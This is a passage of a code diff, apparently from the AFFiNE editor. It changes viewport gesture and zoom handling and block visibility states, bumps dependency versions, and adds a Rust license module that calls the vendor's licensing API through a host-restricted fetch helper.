rawDpr = window.devicePixelRatio
): number {
const caps = viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM;
for (const [zoomThreshold, dprCap] of caps) {
if (zoom < zoomThreshold) {
return Math.min(rawDpr, dprCap);
}
}
return rawDpr;
}
export interface ViewportRecord {
left: number;
top: number;
@@ -92,6 +206,13 @@ export class Viewport {
top: number;
}>();
resizeStarted = new Subject<{
width: number;
height: number;
left: number;
top: number;
}>();
viewportMoved = new Subject<IVec>();
viewportUpdated = new Subject<{
@@ -99,12 +220,71 @@ export class Viewport {
center: IVec;
}>();
zoomUpdated = new Subject<{
previousZoom: number;
zoom: number;
}>();
zooming$ = new BehaviorSubject<boolean>(false);
panning$ = new BehaviorSubject<boolean>(false);
ZOOM_MAX = ZOOM_MAX;
/**
* Per-instance override for the maximum zoom. When unset, the value is read
* dynamically from {@link viewportRuntimeConfig} so that runtime overrides
* (e.g. iOS mobile-safe limits configured at app startup) always apply,
* regardless of whether this instance was constructed before or after the
* override ran.
*/
private _zoomMaxOverride?: number;
ZOOM_MIN = ZOOM_MIN;
private _zoomMinOverride?: number;
get ZOOM_MAX() {
return this._zoomMaxOverride ?? viewportRuntimeConfig.ZOOM_MAX;
}
set ZOOM_MAX(value: number) {
this._zoomMaxOverride = value;
}
get ZOOM_MIN() {
return this._zoomMinOverride ?? viewportRuntimeConfig.ZOOM_MIN;
}
set ZOOM_MIN(value: number) {
this._zoomMinOverride = value;
}
/**
* Minimum pixel movement before triggering a viewport refresh during panning.
* Higher values reduce refresh frequency, lowering memory pressure on mobile.
* Default: 18 (desktop-optimized).
*/
VIEWPORT_REFRESH_PIXEL_THRESHOLD =
viewportRuntimeConfig.VIEWPORT_REFRESH_PIXEL_THRESHOLD;
/**
* Maximum interval (ms) between viewport refreshes during continuous interaction.
* Higher values reduce refresh frequency, lowering memory pressure on mobile.
* Default: 120 (desktop-optimized).
*/
VIEWPORT_REFRESH_MAX_INTERVAL =
viewportRuntimeConfig.VIEWPORT_REFRESH_MAX_INTERVAL;
/**
* When true, viewport element visibility refreshes are skipped entirely during
* panning/zooming, deferring all DOM mutations until the gesture ends.
* Prevents JS main thread blocking that can cause WKWebView process termination.
* Default: false (desktop behavior unchanged).
*/
SKIP_REFRESH_DURING_GESTURE =
viewportRuntimeConfig.SKIP_REFRESH_DURING_GESTURE;
LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT =
viewportRuntimeConfig.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT;
LOW_ZOOM_GESTURE_ACTIVE_DISTANCE_RATIO =
viewportRuntimeConfig.LOW_ZOOM_GESTURE_ACTIVE_DISTANCE_RATIO;
private readonly _resetZooming = debounce(() => {
this.zooming$.next(false);
@@ -144,7 +324,7 @@ export class Viewport {
const newCenterX = initialTopLeftX + width / (2 * this.zoom);
const newCenterY = initialTopLeftY + height / (2 * this.zoom);
this.setCenter(newCenterX, newCenterY, false);
this.setCenter(newCenterX, newCenterY, false, false);
this._width = width;
this._height = height;
this._left = left;
@@ -245,6 +425,49 @@ export class Viewport {
});
}
/**
* Like {@link viewportBounds} but enlarged by
* {@link viewportRuntimeConfig.OVERSCAN_RATIO} on every side. Used only by
* the *canvas* render path so that gestures move into already-rasterized
* vector content instead of blank space. This also enlarges the canvas
* backing store, so keep the ratio conservative.
*
* Hit-testing, selection and other geometry must keep using the exact
* {@link viewportBounds}; do not substitute this for those.
*/
get overscanViewportBounds() {
return this._enlargeBounds(viewportRuntimeConfig.OVERSCAN_RATIO);
}
/**
* Like {@link overscanViewportBounds} but governed by the separate, smaller
* {@link viewportRuntimeConfig.OVERSCAN_RATIO_BLOCK}. Used only by the *DOM
* block mounting* path. Expensive: every mounted block adds a composited
* layer subtree, so this must stay small to keep the WebContent process
* under the iOS jetsam memory limit even when canvas overscan is generous.
*/
get overscanBlockBounds() {
return this._enlargeBounds(viewportRuntimeConfig.OVERSCAN_RATIO_BLOCK);
}
private _enlargeBounds(ratio: number) {
const bounds = this.viewportBounds;
if (ratio <= 0) {
return bounds;
}
const marginX = bounds.w * ratio;
const marginY = bounds.h * ratio;
return new Bound(
bounds.x - marginX,
bounds.y - marginY,
bounds.w + marginX * 2,
bounds.h + marginY * 2
);
}
get viewportMaxXY() {
const { centerX, centerY, width, height, zoom } = this;
return {
@@ -297,8 +520,10 @@ export class Viewport {
dispose() {
this.clearViewportElement();
this.sizeUpdated.complete();
this.resizeStarted.complete();
this.viewportMoved.complete();
this.viewportUpdated.complete();
this.zoomUpdated.complete();
this._resizeSubject.complete();
this.zooming$.complete();
this.panning$.complete();
@@ -307,7 +532,7 @@ export class Viewport {
getFitToScreenData(
bounds?: Bound | null,
padding: [number, number, number, number] = [0, 0, 0, 0],
maxZoom = ZOOM_MAX,
maxZoom = this.ZOOM_MAX,
fitToScreenPadding = 100
) {
let { centerX, centerY, zoom } = this;
@@ -324,7 +549,11 @@ export class Viewport {
(width - fitToScreenPadding - (pr + pl)) / w,
(height - fitToScreenPadding - (pt + pb)) / h
);
zoom = clamp(zoom, ZOOM_MIN, clamp(maxZoom, ZOOM_MIN, ZOOM_MAX));
zoom = clamp(
zoom,
this.ZOOM_MIN,
clamp(maxZoom, this.ZOOM_MIN, this.ZOOM_MAX)
);
centerX = x + (w + pr / zoom) / 2 - pl / zoom / 2;
centerY = y + (h + pb / zoom) / 2 - pt / zoom / 2;
@@ -353,6 +582,12 @@ export class Viewport {
this._left = left;
this._top = top;
this.resizeStarted.next({
left,
top,
width,
height,
});
this._resizeSubject.next({
left,
top,
@@ -367,19 +602,39 @@ export class Viewport {
* @param centerY The new y coordinate of the center of the viewport.
* @param forceUpdate Whether to force complete any pending resize operations before setting the viewport.
*/
setCenter(centerX: number, centerY: number, forceUpdate = true) {
setCenter(
centerX: number,
centerY: number,
forceUpdate = true,
signalPanning = true
) {
if (forceUpdate && this._isResizing) {
this._forceCompleteResize();
}
this._center.x = centerX;
this._center.y = centerY;
this.panning$.next(true);
this.viewportUpdated.next({
zoom: this.zoom,
center: Vec.toVec(this.center) as IVec,
});
this._resetPanning();
const gestureActive = this.panning$.value || this.zooming$.value;
if (signalPanning) {
this.panning$.next(true);
}
// When SKIP_REFRESH_DURING_GESTURE is active, suppress viewportUpdated
// emissions during gestures. Heavy subscribers (canvas, DOM visibility,
// per-block transforms) would otherwise fire on every gesture event.
// Instead, the viewport-element applies a lightweight container-level
// CSS transform to keep visuals in sync with zero per-block overhead.
if (!(this.SKIP_REFRESH_DURING_GESTURE && gestureActive)) {
this.viewportUpdated.next({
zoom: this.zoom,
center: Vec.toVec(this.center) as IVec,
});
}
if (signalPanning) {
this._resetPanning();
}
}
setRect(left: number, top: number, width: number, height: number) {
@@ -410,7 +665,8 @@ export class Viewport {
newZoom: number,
newCenter = Vec.toVec(this.center),
smooth = false,
forceUpdate = true
forceUpdate = true,
signalGesture = false
) {
// Force complete any pending resize operations if forceUpdate is true
if (forceUpdate && this._isResizing) {
@@ -421,19 +677,19 @@ export class Viewport {
if (smooth) {
const cofficient = preZoom / newZoom;
if (cofficient === 1) {
this.smoothTranslate(newCenter[0], newCenter[1]);
this.smoothTranslate(newCenter[0], newCenter[1], 10, signalGesture);
} else {
const center = [this.centerX, this.centerY] as IVec;
const focusPoint = Vec.mul(
Vec.sub(newCenter, Vec.mul(center, cofficient)),
1 / (1 - cofficient)
);
this.smoothZoom(newZoom, Vec.toPoint(focusPoint));
this.smoothZoom(newZoom, Vec.toPoint(focusPoint), 10, signalGesture);
}
} else {
this._center.x = newCenter[0];
this._center.y = newCenter[1];
this.setZoom(newZoom, undefined, false, forceUpdate);
this.setZoom(newZoom, undefined, false, forceUpdate, signalGesture);
}
}
@@ -450,7 +706,8 @@ export class Viewport {
bound: Bound,
padding: [number, number, number, number] = [0, 0, 0, 0],
smooth = false,
forceUpdate = true
forceUpdate = true,
signalGesture = false
) {
let [pt, pr, pb, pl] = padding;
@@ -485,7 +742,7 @@ export class Viewport {
bound.y + (bound.h + pb / zoom) / 2 - pt / zoom / 2,
] as IVec;
this.setViewport(zoom, center, smooth, forceUpdate);
this.setViewport(zoom, center, smooth, forceUpdate, signalGesture);
}
/** This is the outer container of the viewport, which is the host of the viewport element */
@@ -509,14 +766,15 @@ export class Viewport {
* Set the viewport to the new zoom.
* @param zoom The new zoom value.
* @param focusPoint The point to focus on after zooming, default is the center of the viewport.
* @param wheel Whether the zoom is caused by wheel event.
* @param _wheel Legacy parameter kept for call-site compatibility.
* @param forceUpdate Whether to force complete any pending resize operations before setting the viewport.
*/
setZoom(
zoom: number,
focusPoint?: IPoint,
wheel = false,
forceUpdate = true
_wheel = false,
forceUpdate = true,
signalGesture = false
) {
if (forceUpdate && this._isResizing) {
this._forceCompleteResize();
@@ -532,18 +790,21 @@ export class Viewport {
Vec.toVec(focusPoint),
Vec.mul(offset, prevZoom / newZoom)
);
if (wheel) {
// Always signal zooming for any real gesture zoom change (pinch or wheel).
// Programmatic viewport changes should use the normal refresh path without
// entering low-zoom gesture survival mode.
if (signalGesture) {
this.zooming$.next(true);
}
this.setCenter(newCenter[0], newCenter[1], forceUpdate);
this.viewportUpdated.next({
zoom: this.zoom,
center: Vec.toVec(this.center) as IVec,
});
this._resetZooming();
this.setCenter(newCenter[0], newCenter[1], forceUpdate, signalGesture);
this.zoomUpdated.next({ previousZoom: prevZoom, zoom: newZoom });
// setCenter already emits viewportUpdated, no need to emit again here.
if (signalGesture) {
this._resetZooming();
}
}
smoothTranslate(x: number, y: number, numSteps = 10) {
smoothTranslate(x: number, y: number, numSteps = 10, signalGesture = false) {
const { center } = this;
const delta = { x: x - center.x, y: y - center.y };
const innerSmoothTranslate = () => {
@@ -558,7 +819,7 @@ export class Viewport {
const signY = delta.y > 0 ? 1 : -1;
nextCenter.x = cutoff(nextCenter.x, x, signX);
nextCenter.y = cutoff(nextCenter.y, y, signY);
this.setCenter(nextCenter.x, nextCenter.y, true);
this.setCenter(nextCenter.x, nextCenter.y, true, signalGesture);
if (nextCenter.x != x || nextCenter.y != y) innerSmoothTranslate();
});
@@ -566,7 +827,12 @@ export class Viewport {
innerSmoothTranslate();
}
smoothZoom(zoom: number, focusPoint?: IPoint, numSteps = 10) {
smoothZoom(
zoom: number,
focusPoint?: IPoint,
numSteps = 10,
signalGesture = false
) {
const delta = zoom - this.zoom;
if (this._rafId) cancelAnimationFrame(this._rafId);
@@ -576,7 +842,7 @@ export class Viewport {
const step = delta / numSteps;
const nextZoom = cutoff(this.zoom + step, zoom, sign);
this.setZoom(nextZoom, focusPoint, undefined, true);
this.setZoom(nextZoom, focusPoint, undefined, true, signalGesture);
if (nextZoom != zoom) innerSmoothZoom();
});
@@ -213,20 +213,22 @@ export class RangeBinding {
return;
}
const startElement = getElement(range.startContainer);
const endElement = getElement(range.endContainer);
const hasInlineEndpoint =
!!startElement?.closest('v-text') || !!endElement?.closest('v-text');
const el = getElement(range.commonAncestorContainer);
if (!el) return;
const closestExclude = el.closest(`[${RANGE_SYNC_EXCLUDE_ATTR}="true"]`);
if (closestExclude) return;
if (closestExclude && !hasInlineEndpoint) return;
const closestEditable = el.closest('[contenteditable]');
if (!closestEditable) return;
const startElement = getElement(range.startContainer);
const endElement = getElement(range.endContainer);
if (!closestEditable && !hasInlineEndpoint) return;
// if neither start nor end is in a v-text, the range is invalid
if (!startElement?.closest('v-text') && !endElement?.closest('v-text')) {
if (!hasInlineEndpoint) {
this._prevTextSelection = null;
this.selectionManager.clear(['text']);
@@ -42,12 +42,17 @@ function updateBlockVisibility(view: GfxBlockComponent) {
if (view.transformState$.value === 'active') {
view.style.visibility = 'visible';
view.style.pointerEvents = 'auto';
view.classList.remove('block-idle');
view.classList.remove('block-idle', 'block-survival');
view.classList.add('block-active');
} else if (view.transformState$.value === 'survival') {
view.style.visibility = 'visible';
view.style.pointerEvents = 'none';
view.classList.remove('block-active', 'block-idle');
view.classList.add('block-survival');
} else {
view.style.visibility = 'hidden';
view.style.pointerEvents = 'none';
view.classList.remove('block-active');
view.classList.remove('block-active', 'block-survival');
view.classList.add('block-idle');
}
}
@@ -55,8 +60,19 @@ function updateBlockVisibility(view: GfxBlockComponent) {
function handleGfxConnection(instance: GfxBlockComponent) {
instance.style.position = 'absolute';
const viewport = instance.gfx.viewport;
instance.disposables.add(
instance.gfx.viewport.viewportUpdated.subscribe(() => {
viewport.viewportUpdated.subscribe(() => {
// When SKIP_REFRESH_DURING_GESTURE is enabled and a gesture is active,
// skip per-block transform updates. The viewport-element applies a
// container-level CSS transform to keep visuals in sync instead.
if (
viewport.SKIP_REFRESH_DURING_GESTURE &&
(viewport.panning$.value || viewport.zooming$.value)
) {
return;
}
updateTransform(instance);
})
);
@@ -95,7 +111,7 @@ export abstract class GfxBlockComponent<
{
[GfxElementSymbol] = true;
readonly transformState$ = signal<'idle' | 'active'>('active');
readonly transformState$ = signal<'idle' | 'survival' | 'active'>('active');
get gfx() {
return this.std.get(GfxControllerIdentifier);
@@ -207,7 +223,7 @@ export function toGfxBlockComponent<
return class extends CustomBlock {
[GfxElementSymbol] = true;
readonly transformState$ = signal<'idle' | 'active'>('active');
readonly transformState$ = signal<'idle' | 'survival' | 'active'>('active');
override selected$ = computed(() => {
const selection = this.std.selection.value.find(
+1 -1
View File
@@ -37,7 +37,7 @@
"@vanilla-extract/vite-plugin": "^5.0.0",
"@vitest/browser-playwright": "^4.1.8",
"playwright": "=1.58.2",
"vite": "^7.2.7",
"vite": "^7.3.5",
"vite-plugin-wasm": "^3.5.0",
"vitest": "^4.1.8"
},
+1 -1
View File
@@ -34,7 +34,7 @@
"@types/micromatch": "^4.0.9",
"@vanilla-extract/vite-plugin": "^5.0.0",
"magic-string": "^0.30.21",
"vite": "^7.2.7",
"vite": "^7.3.5",
"vite-plugin-istanbul": "^7.2.1",
"vite-plugin-wasm": "^3.5.0",
"vite-plugin-web-components-hmr": "^0.1.3"
+19 -4
View File
@@ -74,7 +74,7 @@
"eslint-import-resolver-typescript": "^4.4.4",
"eslint-plugin-import-x": "^4.16.1",
"eslint-plugin-lit": "^2.2.1",
"eslint-plugin-oxlint": "1.67.0",
"eslint-plugin-oxlint": "1.68.0",
"eslint-plugin-react": "^7.37.5",
"eslint-plugin-react-hooks": "^7.0.1",
"eslint-plugin-simple-import-sort": "^12.1.1",
@@ -83,14 +83,14 @@
"husky": "^9.1.7",
"lint-staged": "^16.0.0",
"msw": "^2.13.2",
"oxlint": "1.67.0",
"oxlint": "1.68.0",
"oxlint-tsgolint": "^0.23.0",
"prettier": "^3.7.4",
"semver": "^7.7.3",
"typescript": "^5.9.3",
"typescript-eslint": "^8.55.0",
"unplugin-swc": "^1.5.9",
"vite": "^7.2.7",
"vite": "^7.3.5",
"vitest": "^4.1.8"
},
"packageManager": "yarn@4.13.0",
@@ -167,7 +167,22 @@
"typedarray": "npm:@nolyfill/typedarray@^1",
"macos-alias": "npm:@napi-rs/macos-alias@0.0.4",
"fs-xattr": "npm:@napi-rs/xattr@latest",
"ioredis": "5.8.2",
"@opentelemetry/core": "^2.8.0",
"@opentelemetry/resources": "^2.8.0",
"@opentelemetry/sdk-trace-base": "^2.8.0",
"@tootallnate/once": "^2.0.1",
"ioredis": "^5.11.1",
"js-yaml@npm:^4.1.0": "^4.2.0",
"js-yaml@npm:4.1.1": "^4.2.0",
"multer": "^2.2.0",
"protobufjs": "^7.6.4",
"tar": "^7.5.16",
"tmp": "^0.2.7",
"ws@npm:^8.18.0": "^8.21.0",
"ws@npm:^8.18.3": "^8.21.0",
"ws@npm:^8.19.0": "^8.21.0",
"ws@npm:8.20.1": "^8.21.0",
"ws@npm:~8.17.1": "^8.21.0",
"decode-named-character-reference@npm:^1.0.0": "patch:decode-named-character-reference@npm%3A1.0.2#~/.yarn/patches/decode-named-character-reference-npm-1.0.2-db17a755fd.patch",
"@atlaskit/pragmatic-drag-and-drop": "patch:@atlaskit/pragmatic-drag-and-drop@npm%3A1.4.0#~/.yarn/patches/@atlaskit-pragmatic-drag-and-drop-npm-1.4.0-75c45f52d3.patch",
"yjs": "patch:yjs@npm%3A13.6.21#~/.yarn/patches/yjs-npm-13.6.21-c9f1f3397c.patch"
+2 -8
View File
@@ -11,14 +11,13 @@ crate-type = ["cdylib"]
[dependencies]
aes-gcm = { workspace = true }
affine_common = { workspace = true, features = [
"doc-loader",
"hashcash",
"napi",
"ydoc-loader",
] }
anyhow = { workspace = true }
base64-simd = { workspace = true }
chrono = { workspace = true }
doc_extractor = { workspace = true }
file-format = { workspace = true }
hex = { workspace = true }
image = { workspace = true }
@@ -34,11 +33,7 @@ napi = { workspace = true, features = ["async", "serde-json"] }
napi-derive = { workspace = true }
p256 = { workspace = true }
rand = { workspace = true }
reqwest = { version = "0.13.3", default-features = false, features = [
"blocking",
"rustls",
] }
rustls = "0.23"
safefetch = { workspace = true }
schemars = { workspace = true }
serde = { workspace = true, features = ["derive"] }
serde_json = { workspace = true }
@@ -47,7 +42,6 @@ sha3 = { workspace = true }
tiktoken-rs = { workspace = true }
url = { workspace = true }
v_htmlescape = { workspace = true }
webpki-roots = "1"
y-octo = { workspace = true, features = ["large_refs"] }
[target.'cfg(not(target_os = "linux"))'.dependencies]
+70 -1
View File
@@ -48,6 +48,8 @@ export interface ActionTrace {
errorCode?: string
}
export declare function activateLicense(request: LicenseKeyRequest): Promise<LicenseResponse>
/**
* Adds a document ID to the workspace root doc's meta.pages array.
* This registers the document in the workspace so it appears in the UI.
@@ -151,11 +153,17 @@ export interface CapabilityModelContract {
capabilities: Array<CapabilityModelCapability>
}
export declare function checkLicenseHealth(request: LicenseHealthRequest): Promise<LicenseResponse>
export interface Chunk {
index: number
content: string
}
export interface CommandResponse {
error?: LicenseError
}
/**
* Converts markdown content to AFFiNE-compatible y-octo document binary.
*
@@ -169,6 +177,10 @@ export interface Chunk {
*/
export declare function createDocWithMarkdown(title: string, markdown: string, docId: string): Buffer
export declare function createLicenseCustomerPortal(request: LicenseKeyRequest): Promise<PortalResponse>
export declare function deactivateLicense(request: LicenseKeyRequest): Promise<CommandResponse>
export declare function evaluatePermissionV1(input: any): any
export declare function fetchRemoteAttachment(request: RemoteAttachmentFetchRequest): Promise<RemoteAttachmentFetchResponse>
@@ -195,6 +207,43 @@ export declare function inferRemoteMimeType(request: RemoteMimeTypeRequest): Pro
export declare function inspectImageForProxy(input: Buffer, options?: ImageInspectionOptions | undefined | null): ImageInspection
export interface LicenseError {
status: number
body: string
}
export interface LicenseHealthRequest {
licenseKey: string
validateKey: string
}
export interface LicenseInfo {
plan: string
recurring: string
quantity: number
expiresAt: number
validateKey: string
}
export interface LicenseKeyRequest {
licenseKey: string
}
export interface LicenseRecurringRequest {
licenseKey: string
recurring: string
}
export interface LicenseResponse {
license?: LicenseInfo
error?: LicenseError
}
export interface LicenseSeatsRequest {
licenseKey: string
seats: number
}
export declare function llmBuildCanonicalRequest(request: CanonicalChatRequestContract): LlmRequestContract
export declare function llmBuildCanonicalStructuredRequest(request: CanonicalStructuredRequestContract): LlmStructuredRequestContract
@@ -481,6 +530,11 @@ export declare function permissionActionRoleMatrixV1(): any
export declare function permissionActionRoleMatrixV1Json(): string
export interface PortalResponse {
url?: string
error?: LicenseError
}
export declare function processImage(input: Buffer, maxEdge: number, keepExif: boolean): Promise<Buffer>
export type PromptBuiltin = 'Date'|
@@ -687,15 +741,26 @@ export declare function runNativeActionRecipePreparedStream(input: ActionRuntime
export declare function safeFetch(request: SafeFetchRequest): Promise<SafeFetchResponse>
export type SafeFetchMethod = 'get'|
'head';
'head'|
'post'|
'put'|
'propfind'|
'report';
export interface SafeFetchRequest {
url: string
method?: SafeFetchMethod
headers?: Record<string, string>
body?: Buffer
timeoutMs?: number
maxRedirects?: number
maxBytes?: number
allowedHeaders?: Array<string>
allowedHosts?: Array<string>
allowHttp?: boolean
allowPrivateTargetOrigin?: boolean
enableEch?: boolean
echConfigList?: Buffer
}
export interface SafeFetchResponse {
@@ -754,6 +819,10 @@ export declare function updateDocTitle(existingBinary: Buffer, title: string, do
*/
export declare function updateDocWithMarkdown(existingBinary: Buffer, newMarkdown: string, docId: string): Buffer
export declare function updateLicenseRecurring(request: LicenseRecurringRequest): Promise<CommandResponse>
export declare function updateLicenseSeats(request: LicenseSeatsRequest): Promise<CommandResponse>
/**
* Updates a document title in the workspace root doc's meta.pages array.
*
+2 -1
View File
@@ -1,4 +1,5 @@
use affine_common::{doc_loader::Doc, napi_utils::map_napi_err};
use affine_common::napi_utils::map_napi_err;
use doc_extractor::Doc;
use napi::{
Env, Result, Status, Task,
bindgen_prelude::{AsyncTask, Buffer},
+1
View File
@@ -9,6 +9,7 @@ pub mod file_type;
pub mod hashcash;
pub mod html_sanitize;
pub mod image;
pub mod license;
pub mod llm;
pub mod permission;
pub mod safe_fetch;
+501
View File
@@ -0,0 +1,501 @@
use std::{
collections::HashMap,
sync::{Mutex, OnceLock},
time::{Duration, SystemTime, UNIX_EPOCH},
};
use anyhow::{Context, Result as AnyResult, bail};
use napi::{Env, Error, Result, Status, Task, bindgen_prelude::AsyncTask};
use napi_derive::napi;
use serde::de::DeserializeOwned;
use url::Url;
const AFFINE_PRO_ENDPOINT: &str = "https://app.affine.pro";
const AFFINE_PRO_HOST: &str = "app.affine.pro";
const AFFINE_PRO_REQUEST_TIMEOUT_MS: u32 = 10_000;
const AFFINE_PRO_MAX_BYTES: u32 = 1024 * 1024;
const ECH_DNS_QUERY_TIMEOUT_MS: u32 = 5_000;
static AFFINE_PRO_ECH_CONFIG: OnceLock<Mutex<Option<Vec<u8>>>> = OnceLock::new();
#[napi(object)]
pub struct LicenseKeyRequest {
pub license_key: String,
}
#[napi(object)]
pub struct LicenseHealthRequest {
pub license_key: String,
pub validate_key: String,
}
#[napi(object)]
pub struct LicenseRecurringRequest {
pub license_key: String,
pub recurring: String,
}
#[napi(object)]
pub struct LicenseSeatsRequest {
pub license_key: String,
pub seats: u32,
}
#[napi(object)]
pub struct LicenseInfo {
pub plan: String,
pub recurring: String,
pub quantity: u32,
pub expires_at: f64,
pub validate_key: String,
}
#[napi(object)]
pub struct LicenseError {
pub status: u16,
pub body: String,
}
#[napi(object)]
pub struct LicenseResponse {
pub license: Option<LicenseInfo>,
pub error: Option<LicenseError>,
}
#[napi(object)]
pub struct CommandResponse {
pub error: Option<LicenseError>,
}
#[napi(object)]
pub struct PortalResponse {
pub url: Option<String>,
pub error: Option<LicenseError>,
}
pub struct AsyncActivateLicenseTask {
request: LicenseKeyRequest,
}
pub struct AsyncDeactivateLicenseTask {
request: LicenseKeyRequest,
}
pub struct AsyncCheckLicenseHealthTask {
request: LicenseHealthRequest,
}
pub struct AsyncUpdateLicenseRecurringTask {
request: LicenseRecurringRequest,
}
pub struct AsyncUpdateLicenseSeatsTask {
request: LicenseSeatsRequest,
}
pub struct AsyncCreateCustomerPortalTask {
request: LicenseKeyRequest,
}
#[napi]
impl Task for AsyncActivateLicenseTask {
type Output = LicenseResponse;
type JsValue = LicenseResponse;
fn compute(&mut self) -> Result<Self::Output> {
license_info(
&format!("/api/team/licenses/{}/activate", self.request.license_key),
safefetch::SafeFetchMethod::Post,
None,
None,
)
.map_err(invalid_arg)
}
fn resolve(&mut self, _: Env, output: Self::Output) -> Result<Self::JsValue> {
Ok(output)
}
}
#[napi]
pub fn activate_license(request: LicenseKeyRequest) -> AsyncTask<AsyncActivateLicenseTask> {
AsyncTask::new(AsyncActivateLicenseTask { request })
}
#[napi]
impl Task for AsyncDeactivateLicenseTask {
type Output = CommandResponse;
type JsValue = CommandResponse;
fn compute(&mut self) -> Result<Self::Output> {
command(
&format!("/api/team/licenses/{}/deactivate", self.request.license_key),
safefetch::SafeFetchMethod::Post,
None,
None,
)
.map_err(invalid_arg)
}
fn resolve(&mut self, _: Env, output: Self::Output) -> Result<Self::JsValue> {
Ok(output)
}
}
#[napi]
pub fn deactivate_license(request: LicenseKeyRequest) -> AsyncTask<AsyncDeactivateLicenseTask> {
AsyncTask::new(AsyncDeactivateLicenseTask { request })
}
#[napi]
impl Task for AsyncCheckLicenseHealthTask {
type Output = LicenseResponse;
type JsValue = LicenseResponse;
fn compute(&mut self) -> Result<Self::Output> {
license_info(
&format!("/api/team/licenses/{}/health", self.request.license_key),
safefetch::SafeFetchMethod::Get,
Some(HashMap::from([(
"x-validate-key".to_string(),
self.request.validate_key.clone(),
)])),
None,
)
.map_err(invalid_arg)
}
fn resolve(&mut self, _: Env, output: Self::Output) -> Result<Self::JsValue> {
Ok(output)
}
}
#[napi]
pub fn check_license_health(request: LicenseHealthRequest) -> AsyncTask<AsyncCheckLicenseHealthTask> {
AsyncTask::new(AsyncCheckLicenseHealthTask { request })
}
#[napi]
impl Task for AsyncUpdateLicenseRecurringTask {
type Output = CommandResponse;
type JsValue = CommandResponse;
fn compute(&mut self) -> Result<Self::Output> {
let body = serde_json::to_vec(&serde_json::json!({
"recurring": self.request.recurring,
}))
.map_err(invalid_arg)?;
command(
&format!("/api/team/licenses/{}/recurring", self.request.license_key),
safefetch::SafeFetchMethod::Post,
None,
Some(body),
)
.map_err(invalid_arg)
}
fn resolve(&mut self, _: Env, output: Self::Output) -> Result<Self::JsValue> {
Ok(output)
}
}
#[napi]
pub fn update_license_recurring(request: LicenseRecurringRequest) -> AsyncTask<AsyncUpdateLicenseRecurringTask> {
AsyncTask::new(AsyncUpdateLicenseRecurringTask { request })
}
#[napi]
impl Task for AsyncUpdateLicenseSeatsTask {
type Output = CommandResponse;
type JsValue = CommandResponse;
fn compute(&mut self) -> Result<Self::Output> {
let body = serde_json::to_vec(&serde_json::json!({
"seats": self.request.seats,
}))
.map_err(invalid_arg)?;
command(
&format!("/api/team/licenses/{}/seats", self.request.license_key),
safefetch::SafeFetchMethod::Post,
None,
Some(body),
)
.map_err(invalid_arg)
}
fn resolve(&mut self, _: Env, output: Self::Output) -> Result<Self::JsValue> {
Ok(output)
}
}
#[napi]
pub fn update_license_seats(request: LicenseSeatsRequest) -> AsyncTask<AsyncUpdateLicenseSeatsTask> {
AsyncTask::new(AsyncUpdateLicenseSeatsTask { request })
}
#[napi]
impl Task for AsyncCreateCustomerPortalTask {
type Output = PortalResponse;
type JsValue = PortalResponse;
fn compute(&mut self) -> Result<Self::Output> {
let response = match affine_pro_request(
&format!("/api/team/licenses/{}/create-customer-portal", self.request.license_key),
safefetch::SafeFetchMethod::Post,
None,
None,
) {
Ok(response) => response,
Err(_) => {
return Ok(PortalResponse {
url: None,
error: Some(internal_affine_pro_error()),
});
}
};
if let Some(error) = affine_pro_error(&response) {
return Ok(PortalResponse {
url: None,
error: Some(error),
});
}
let body: PortalPayload = match parse_body(&response) {
Ok(body) => body,
Err(_) => {
return Ok(PortalResponse {
url: None,
error: Some(internal_affine_pro_error()),
});
}
};
if body.url.is_empty() {
return Ok(PortalResponse {
url: None,
error: Some(internal_affine_pro_error()),
});
}
Ok(PortalResponse {
url: Some(body.url),
error: None,
})
}
fn resolve(&mut self, _: Env, output: Self::Output) -> Result<Self::JsValue> {
Ok(output)
}
}
#[napi]
pub fn create_license_customer_portal(request: LicenseKeyRequest) -> AsyncTask<AsyncCreateCustomerPortalTask> {
AsyncTask::new(AsyncCreateCustomerPortalTask { request })
}
fn license_info(
path: &str,
method: safefetch::SafeFetchMethod,
headers: Option<HashMap<String, String>>,
body: Option<Vec<u8>>,
) -> AnyResult<LicenseResponse> {
let response = match affine_pro_request(path, method, headers, body) {
Ok(response) => response,
Err(_) => {
return Ok(LicenseResponse {
license: None,
error: Some(internal_affine_pro_error()),
});
}
};
if let Some(error) = affine_pro_error(&response) {
return Ok(LicenseResponse {
license: None,
error: Some(error),
});
}
let license = match parse_license_info(&response) {
Ok(license) => license,
Err(error) if error.to_string() == "license_expired" => {
return Ok(LicenseResponse {
license: None,
error: Some(license_expired_error()),
});
}
Err(_) => {
return Ok(LicenseResponse {
license: None,
error: Some(internal_affine_pro_error()),
});
}
};
Ok(LicenseResponse {
license: Some(license),
error: None,
})
}
fn command(
path: &str,
method: safefetch::SafeFetchMethod,
headers: Option<HashMap<String, String>>,
body: Option<Vec<u8>>,
) -> AnyResult<CommandResponse> {
let response = match affine_pro_request(path, method, headers, body) {
Ok(response) => response,
Err(_) => {
return Ok(CommandResponse {
error: Some(internal_affine_pro_error()),
});
}
};
Ok(CommandResponse {
error: affine_pro_error(&response),
})
}
fn affine_pro_request(
path: &str,
method: safefetch::SafeFetchMethod,
headers: Option<HashMap<String, String>>,
body: Option<Vec<u8>>,
) -> AnyResult<safefetch::SafeFetchResponse> {
let url = Url::parse(AFFINE_PRO_ENDPOINT)
.context("invalid affine pro endpoint")?
.join(path)
.context("invalid affine pro path")?;
let mut headers = headers.unwrap_or_default();
headers.insert("Content-Type".to_string(), "application/json".to_string());
safefetch::safe_fetch(&safefetch::SafeFetchRequest {
url: url.to_string(),
method: Some(method),
headers: Some(headers),
body,
timeout_ms: Some(AFFINE_PRO_REQUEST_TIMEOUT_MS),
max_redirects: Some(3),
max_bytes: Some(AFFINE_PRO_MAX_BYTES),
allowed_headers: Some(vec![
"authorization".to_string(),
"content-type".to_string(),
"x-validate-key".to_string(),
]),
allowed_hosts: Some(vec![AFFINE_PRO_HOST.to_string()]),
allow_http: Some(false),
allow_private_target_origin: None,
ech_config_list: Some(affine_pro_ech_config()?),
})
}
fn parse_license_info(response: &safefetch::SafeFetchResponse) -> AnyResult<LicenseInfo> {
let body: LicensePayload = parse_body(response)?;
let expires_at = parse_future_end_at(&body.end_at)?;
Ok(LicenseInfo {
plan: body.plan,
recurring: body.recurring,
quantity: body.quantity,
expires_at,
validate_key: response.headers.get("x-next-validate-key").cloned().unwrap_or_default(),
})
}
